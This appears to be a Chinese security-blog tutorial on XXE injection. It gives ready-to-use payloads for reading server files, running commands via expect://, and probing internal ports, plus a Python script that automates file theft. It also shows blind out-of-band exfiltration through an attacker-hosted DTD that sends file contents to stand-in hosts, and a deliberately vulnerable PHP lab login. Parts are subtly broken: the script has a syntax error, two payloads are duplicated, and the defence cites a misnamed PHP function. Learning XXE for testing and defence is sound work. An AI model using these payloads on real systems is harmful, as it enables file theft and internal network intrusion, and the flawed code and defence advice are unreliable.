
XML是什么
先来了解XML,XML作为可扩展标记语言,在于任何应用中读/写数据,成为数据交换的公共语言。
举个例子:
小萌发微信信息“你吃了没”,信息发送会被服务器存储。这消息假如以XML文件来传输,即可为以下格式
<msg>
<sender="小明"/>
<type= test/>
<content="你吃了没" />
</msg>
现在多用于配置文件,用起来轻松方便。
XML组成
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<! ENTITY test SYSTEM "file:///etc/passwd"> //实体
<!ELEMENT message (receiver)> //以下两行是声明的xml的子元素
<!ELEMENT receiver (#PCDATA)>
<message>
<receiver>&test</receiver>
</message>
第一行代表XML文档定义,定义xml版本、编码集。
代表文档类型定义。
从message下面代表文档元素。
DTD
文档类型定义用于定义XML文档的合法构造模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部DTD的XML文档
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
外部DTD的XML文档实例
外部文档声明:DTD位于XML源码外部,通过下面语法封装在DOCTYPE定义
XML源码调用外部的DTD,使XML格式看起来完整
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
包含DTD的"note.dtd"
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
XXE漏洞简介
XXE即为XML外部实体注入,当允许引用外部实体,构造恶意内容,导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站。简言之XML代码写的不够规范,校验不完整,产生了相应的漏洞。
XXE查找方法:明显的XML作为内容的输入点、某些JSON数据为请求体
XXE原理
攻击者将Payload注入XML文件给浏览器,http建立连接后发送报文,将日志,事件传输到服务器。XML文件被执行后,读取服务器的本地文件,对内网访问扫描内部网络端口。
XXE使用场景
有回显
直接在页面看到Payload执行结果
无回显(BLIND OOB XXE)
使用外带数据通道提取数据,如ceye
XXE危害
1.读取任意文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
2.执行系统命令
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>
<name>&xxe;</name>
</root>
3.探测内网端口
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]>
<root>
<name>&xxe;</name>
</root>
4.攻击内网网站
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]>
<root>
<name>&xxe;</name>
</root>
5.读取信息
import urllib2 # 进行信息收集
if __name__='__main__':
print u"输入要访问的地址"
url=raw_input()
count=1
while count == 1:
print u'要读取的文件,如file:///etc/passwd:'
payload = raw_input()
headers={'Content-type':'text/xml'}xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
req=urllib2.Request(url=url,headers=headers,data=xml)
res_data=urllib2.urlopen(req)
res=res_data.read()
print res
XXE的防御
1.禁用外部实体的方法
php中lib_disable_entity_loader(true);禁止从外部加载XML实体
2.过滤用户提交的XML数据
XXE攻击类型
XXE攻击类型分为有回显和未回显。
有回显可以使用外部实体调用file://函数去读取本地文件,或者建立dtd文件进行远程协议调用文件。
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部evil.dtd中的内容:
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
未回显可以使用外带数据实现读取文件。
对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才可以使用XXE漏洞读取服务端文件,无回显就可以使用Blind XXE漏洞构造外带信道提取数据。
发送到远程服务器,然后读取
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % f SYSTEM "http://yourhost/evil.dtd">
%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);
服务器的evil.dtd文件内容
<!ENTITY b SYSTEM "file:///etc/passwd">
通过外带数据通道提取数据
先用php://filter获取目标文件的内容,将内容以http请求发送给接受数据的服务器(ceye服务器)
ceye地址this
<?xml version=”1.0”?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
evii.dtd内容,内容的%号要进行实体编码成%
<!ENTITY % all
“<!ENTITY % send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>”
>
%all;
有回显(抓本地文件)
1.搭建xxe-lab靶场靶场地址
用php搭建的登录框,存在XXE漏洞。
进行抓包尝试
发现了user元素,我们来构造外部实体进行攻击。
<?xml version='1.0' encoding='UTF-8' ?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&test;</username><password>Mikasa</password></user>
外部dtd可以使用
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://192.168.1.2/xxe/evil2.dtd" >
%xxe;]>
<foo>&evil;</foo>
其中外部链接的evil.dtd中内容为:(这里攻击服务器地址为:192.168.18.70:)
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
有回显(内网探测)
出自CTF的(True XML cookbook题型)
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
获取hosts文件
<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "file:///etc/hosts">
]>
获取arp地址缓存表
<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "file:///proc/net/arp">
]>
识别XXE漏洞
先判断XML是否会被成功解析
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "you are great">]>
<root>&name;</root>
如果页面输出了you are great,说明xml文件可以被解析。
检测服务器是否支持DTD引用外部实体
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://yourhost/index.html">
%name;
]>
查看服务器日志判断,回显html请求,就表明存在XXE漏洞。
参考资料
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)